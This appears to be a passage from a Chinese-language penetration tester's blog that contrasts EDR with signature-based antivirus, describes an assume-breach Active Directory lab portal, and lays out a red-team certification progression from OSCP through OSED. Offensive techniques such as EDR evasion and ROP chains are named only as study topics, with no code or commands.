- Registry Changes
- Network Connections
- Memory Activity
與傳統 AV 不同的是,EDR 更注重 行為分析(Behavior Analysis)
在 Windows 環境中,常見的 EDR 解決方案之一是:Microsoft Defender for Endpoint (MDE)
MDE 會在端點設備上收集大量 Telemetry Data,例如:
1 | Process Creation |
這些資料會被送往 Microsoft Security Cloud 進行分析與關聯。
EDR 與傳統 AV 的差異
傳統防毒主要依賴 Signature-Based Detection 也就是透過惡意程式特徵碼來識別病毒。
現代攻擊常使用:
1 | Fileless Attacks |
這些攻擊可能不會留下惡意檔案,因此很難被傳統 AV 偵測,EDR 則透過行為監控來識別這類攻擊。
Active Directory Roadmap
待畫心智圖
Lab Methodology - Assume Breach
預設攻擊者已取得內網初始立足點(Initial Foothold),並是否能沿著攻擊鏈持續擴張權限,最終達成:
1 | 控制整個 AD 網域環境 |

Lab 開通後即在 Lab Details 出現面板。

Lab 入口資訊
- Portal URL: https://enterprisesecurity.io
- 登入後可查看:
- 訂閱開始與結束時間
- Lab 存取剩餘時間
- 最近一次考試嘗試時間
重點:
- 最少 30 天存取權限
- 若時間異常需立即確認
- Lab 時間與考試資格直接相關
區域選擇 (Region Selection)
- North America
- Europe
- East Asia / Pacific
原則:
- 依地理位置選擇最近區域
- 降低延遲 (Latency)
- 確保操作流暢度
總結
過去在軍中環境的觀察來說,OSCP 往往已被視為一個相當高的技術門檻,甚至可以說是「頂標」。在那樣的體系裡,能通過 OSCP 已經明顯高於平均水準。但如果放到具有實戰強度的乙方市場環境來看,OSCP 更像是一個起點,而不是終點。它代表的是基本滲透方法論與攻擊流程的建立,但如果單純以 紅隊實戰能力成長 為目標,而非證照收藏,可以依照能力堆疊邏輯,規劃如下順序:
1 | OSCP → CRTP → OSEP → OSWE → OSED(選修) |
第一階段:建立滲透方法論(OSCP)
OSCP 核心價值在於建立完整的滲透思維與攻擊流程:
- 系統化的 Enumeration
- 攻擊面拆解與優先順序判斷
- 橫向移動與權限提升
這個階段的重點不是招式,而是方法論,從這一步開始,才真正具備 能獨立完成滲透流程 的能力。
第二階段:理解企業內網權限模型(CRTP)
CRTP 補足的是企業環境中最核心的 Active Directory 架構理解。
- ACL / DACL 與權限流動
- Kerberos 認證與票證模型
- Delegation 設計邏輯
- Forest / Domain Trust 邊界
這一步讓能力從 會打 轉向 看懂設計 開始理解攻擊之所以成立,是因為架構本身如何運作。
第三階段:真實環境對抗能力(OSEP)
OSEP 強調的是攻防對抗思維。
- AV / EDR 對抗
- AMSI / AppLocker 繞過
- Logging 與 Detection Surface 理解
- Payload 與執行鏈設計
這個階段讓攻擊能力從實驗室場景,進化到真實企業環境,不再只是 能打成功,而是 能在被監控下打成功。
第四階段:漏洞原理與程式閱讀能力(OSWE)
在具備完整攻擊鏈與對抗能力後,再回頭強化 Web 原始碼審計能力。
OSWE 著重於:
- Source Code Trace
- 邏輯漏洞辨識
- 自行撰寫與修改 exploit
這一層補的是內功,讓滲透能力從黑箱測試,轉為白箱理解。
第五階段:底層漏洞利用研究(OSED)
OSED 偏向研究導向與 Exploit Engineering
- ROP Chain
- DEP / ASLR Bypass
- Shellcode 與 Windows Internals
並非一般紅隊必要能力,以目前市場現況而言,多數企業安全檢測仍以黑箱或灰箱滲透測試為主,真正需要底層漏洞利用開發能力的職缺相對較少,但對於希望深入理解漏洞本質或追求 OSCE3 的人而言,可作為長期興趣投入。